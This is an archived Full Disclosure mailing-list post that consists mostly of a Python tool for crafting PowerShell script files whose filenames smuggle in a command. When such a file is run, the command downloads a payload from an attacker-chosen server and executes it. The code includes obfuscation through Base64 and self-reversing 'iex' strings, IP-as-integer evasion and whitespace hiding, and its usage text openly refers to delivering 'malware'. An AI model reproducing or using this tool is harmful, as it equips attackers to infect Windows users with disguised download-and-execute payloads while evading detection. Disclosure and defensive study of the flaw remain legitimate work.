[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] GGPowerShell / Windows PowerShell Unsanitized RCE File Tool
From:       hyp3rlinx <apparitionsec () gmail ! com>
Date:       2019-08-30 2:35:15
Message-ID: CAFD2FDNirO-LXs43fBQ7GOkXx=QZCAnF2Jyat+rsM4ov-yPU_A () mail ! gmail ! com
[Download RAW message or body]

Tool for creating Windows .PS files with the exploitable semicolon
condition. Has some options like reverse string PS command payload and
IP address as integer value etc...

http://hyp3rlinx.altervista.org/advisories/GGPowerShell.txt


from base64 import b64encode
from base64 import b64decode
from socket import *
import argparse,sys,socket,struct,re

#GGPowerShell
#Microsoft Windows PowerShell - Unsantized Filename RCE Dirty File Creat0r.
#
#Original advisory:
#http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
#
#Original PoC:
#https://www.youtube.com/watch?v=AH33RW9g8J4
#
#By John Page (aka hyp3rlinx)
#Apparition Security
#=========================
#Features added to the original advisory script:
#
#Original script may have issues with -O for save files with certain
PS versions, so now uses -OutFile.
#
#Added: server port option (Base64 mode only)
#
#Added: -z Reverse String Command as an alternative to default Base64
encoding obfuscation.
#Example self reversing payload to save and execute a file "n.js" from
127.0.0.1 port 80 is only 66 bytes.
#
#$a='sj.n trats;sj.n eliFtuO- 1.0.0.721 rwi'[-1..-38]-join'';iex $a
#
#-z payload requires a forced malware download on server-side,
defaults port 80 and expects an ip-address.
#
#Added: IP to Integer for extra evasion - e.g 127.0.0.1 = 2130706433
#
#Added: Prefix whitespace - attempt to hide the filename payload by
push it to the end of the filename.
#
#Since we have space limit, malware names should try be 5 chars max
e.g. 'a.exe' including the ext to make room for
#IP/Host/Port and whitespace especially when Base64 encoding, for
reverse command string option we have more room to play.
#e.g. a.exe or n.js (1 char for the name plus 2 to 3 chars for ext
plus the dot).
#
#All in the name of the dirty PS filename.
#=========================================

BANNER='''
   ________________                          _____ __   _____ __    __
  / ____/ ____/ __ \____ _      _____  _____/ ___// /_ |__  // /   / /
 / / __/ / __/ /_/ / __ \ | /| / / _ \/ ___/\__ \/ __ \ /_ </ /   / /
/ /_/ / /_/ / ____/ /_/ / |/ |/ /  __/ /   ___/ / / / /__/ / /___/ /___
\____/\____/_/    \____/|__/|__/\___/_/   /____/_/
/_/____/_____/_____/

By hyp3rlinx
ApparitionSec
'''


FILENAME_PREFIX="Hello-World"
POWERSHELL_OBFUSCATED="poWeRshELl"
DEFAULT_PORT="80"
DEFAULT_BASE64_WSPACE_LEN=2
MAX_CHARS = 254
WARN_MSG="Options: register shorter domain name, try <ip-address> -i
flag, force-download or omit whitespace."


def parse_args():
    parser.add_argument("-s", "--server", help="Server to download
malware from.")
    parser.add_argument("-p", "--port", help="Malware server port,
defaults 80.")
    parser.add_argument("-m", "--locf", help="Name for the Malware
upon download.")
    parser.add_argument("-r", "--remf", nargs="?", help="Malware to
download from the remote server.")
    parser.add_argument("-f", "--force_download", nargs="?",
const="1", help="No malware name specified, malwares force downloaded
from the server web-root, malware type must be known up front.")
    parser.add_argument("-z", "--rev_str_cmd", nargs="?", const="1",
help="Reverse string command obfuscation Base64 alternative,
ip-address and port 80 only, Malware must be force downloaded on the
server-side, see -e.")
    parser.add_argument("-w", "--wspace",  help="Amount of whitespace
to use for added obfuscation, Base64 is set for 2 bytes.")
    parser.add_argument("-i", "--ipevade", nargs="?", const="1",
help="Use the integer value of the malware servers IP address for
obfuscation/evasion.")
    parser.add_argument("-e", "--example", nargs="?", const="1",
help="Show example use cases")
    return parser.parse_args()


#self reverse PS commands
def rev_str_command(args):
    malware=args.locf[::-1]
    revload=malware
    revload+=" trats;"
    revload+=malware
    revload+=" eliFtuO- "
    revload+=args.server[::-1]
    revload+=" rwi"

    payload = "$a='"
    payload+=malware
    payload+=" trats;"
    payload+=malware
    payload+=" eliFtuO- "
    payload+=args.server[::-1]
    payload+=" rwi'[-1..-"+str(len(revload))
    payload+="]-join '';iex $a"
    return payload


def ip2int(addr):
    return struct.unpack("!I", inet_aton(addr))[0]


def ip2hex(ip):
    x = ip.split('.')
    return '0x{:02X}{:02X}{:02X}{:02X}'.format(*map(int, x))


def obfuscate_ip(target):
    IPHex = ip2hex(target)
    return str(ip2int(IPHex))


def decodeB64(p):
    return b64decode(p)


def validIP(host):
    try:
        socket.inet_aton(host)
        return True
    except socket.error:
        return False


def filename_sz(space,cmds,mode):
    if mode==0:
         return len(FILENAME_PREFIX)+len(space)+ 1
+len(POWERSHELL_OBFUSCATED)+ 4 + len(cmds)+ len(";.ps1")
    else:
        return len(FILENAME_PREFIX) + len(space) + 1 + len(cmds) + len(";.ps1")


def check_filename_size(sz):
    if sz > MAX_CHARS:
        print "Filename is", sz, "chars of max allowed", MAX_CHARS
        print WARN_MSG
        return False
    return True


def create_file(payload, args):
    try:
        f=open(payload, "w")
        f.write("Write-Output 'Have a good night!'")
        f.close()
    except Exception as e:
        print "[!] File not created!"
        print WARN_MSG
        return False
    return True


def cmd_info(t,p):
    print "PAYLOAD: "+p
    if t==0:
        print "TYPE: Base64 encoded payload."
    else:
        print "TYPE: Self Reversing String Command (must
force-download the malware server side)."



def main(args):

    global FILENAME_PREFIX

    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        sys.exit(1)

    if args.example:
        usage()
        exit()

    sz=0
    space=""
    b64payload=""
    reverse_string_cmd=""

    if not validIP(args.server):
        if not args.rev_str_cmd:
            if args.server.find("http://")==-1:
                args.server = "http://"+args.server

    if args.ipevade:
        args.server = args.server.replace("http://", "")
        if validIP(args.server):
            args.server = obfuscate_ip(args.server)
        else:
            print "[!] -i (IP evasion) requires a valid IP address,
see Help -h."
            exit()

    if not args.locf:
        print "[!] Missing local malware save name -m flag see Help -h."
        exit()

    if not args.rev_str_cmd:

        if not args.remf and not args.force_download:
            print "[!] No remote malware specified, force downloading
are we? use -f or -r flag, see Help -h."
            exit()

        if args.remf and args.force_download:
            print "[!] Multiple download options specified, use -r or
-f exclusively, see Help -h."
            exit()

        if args.force_download:
            args.remf=""

        if args.remf:
            #remote file can be extension-less
            if not re.findall("^[~\w,a-zA-Z0-9]$", args.remf) and not
re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.remf):
                print "[!] Invalid remote malware name specified, see Help -h."
                exit()

            #local file extension is required
        if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):
            print "[!] Local malware name "+args.locf+" invalid, must
contain no paths and have the correct extension."
            exit()

        if not args.port:
            args.port = DEFAULT_PORT

        if args.wspace:
            args.wspace = int(args.wspace)
            space="--IAA="*DEFAULT_BASE64_WSPACE_LEN
            if args.wspace != DEFAULT_BASE64_WSPACE_LEN:
                 print "[!] Ignoring", args.wspace, "whitespace
amount, Base64 default is two bytes"

        filename_cmd = "powershell iwr "
        filename_cmd+=args.server
        filename_cmd+=":"
        filename_cmd+=args.port
        filename_cmd+="/"
        filename_cmd+=args.remf
        filename_cmd+=" -OutFile "
        filename_cmd+=args.locf
        filename_cmd+=" ;sleep -s 2;start "
        filename_cmd+=args.locf

        b64payload = b64encode(filename_cmd.encode('UTF-16LE'))
        sz = filename_sz(space, b64payload, 0)

        FILENAME_PREFIX+=space
        FILENAME_PREFIX+=";"
        FILENAME_PREFIX+=POWERSHELL_OBFUSCATED
        FILENAME_PREFIX+=" -e "
        FILENAME_PREFIX+=b64payload
        FILENAME_PREFIX+=";.ps1"
        COMMANDS = FILENAME_PREFIX

    else:

        if args.server.find("http://")!=-1:
            args.server = args.server.replace("http://","")

        if args.force_download:
             print "[!] Ignored -f as forced download is already
required with -z flag."

        if args.wspace:
            space=" "*int(args.wspace)

        if args.remf:
            print "[!] Using both -z and -r flags is disallowed, see Help -h."
            exit()

        if args.port:
            print "[!] -z flag must use port 80 as its default, see Help -h."
            exit()

        if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):
            print "[!] Local Malware name invalid -m flag."
            exit()

        reverse_string_cmd = rev_str_command(args)
        sz = filename_sz(space, reverse_string_cmd, 1)

        FILENAME_PREFIX+=space
        FILENAME_PREFIX+=";"
        FILENAME_PREFIX+=reverse_string_cmd
        FILENAME_PREFIX+=";.ps1"
        COMMANDS=FILENAME_PREFIX

    if check_filename_size(sz):
        if create_file(COMMANDS,args):
            if not args.rev_str_cmd:
                cmd_info(0,decodeB64(b64payload))
            else:
                cmd_info(1,reverse_string_cmd)
            return sz

    return False


def usage():
    print "(-r) -s <domain-name.xxx> -p 5555 -m  g.js -r n.js -i -w 2"
    print "     Whitespace, IP evasion, download, save and exec
malware via Base64 encoded payload.\n"
    print "     Download an save malware simply named '2' via port 80,
rename to f.exe and execute."
    print "     -s <domain-name.xxx> -m  a.exe -r 2\n"
    print "(-f) -s <domain-name.xxx> -f -m  d.exe"
    print "     Expects force download from the servers web-root,
malware type must be known upfront.\n"
    print "(-z) -s 192.168.1.10 -z -m q.cpl -w 150"
    print "     Reverse string PowerShell command alternative to
Base64 obfuscation"
    print "     uses self reversing string of PS commands, malware
type must be known upfront."
    print "     Defaults port 80, ip-address only and requires
server-side forced download from web-root.\n"
    print "(-i) -s 192.168.1.10 -i -z -m ~.vbs -w 100"
    print "     Reverse string command with (-i) IP as integer value
for evasion.\n"
    print "     Base64 is the default command obfuscation encoding,
unless -z flags specified."

if __name__=="__main__":

    print BANNER
    parser = argparse.ArgumentParser()
    sz = main(parse_args())

    if sz:
        print "DIRTY FILENAME SIZE: %s" % (sz) +"\n"
        print "PowerShell Unsantized Filename RCE file created."

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic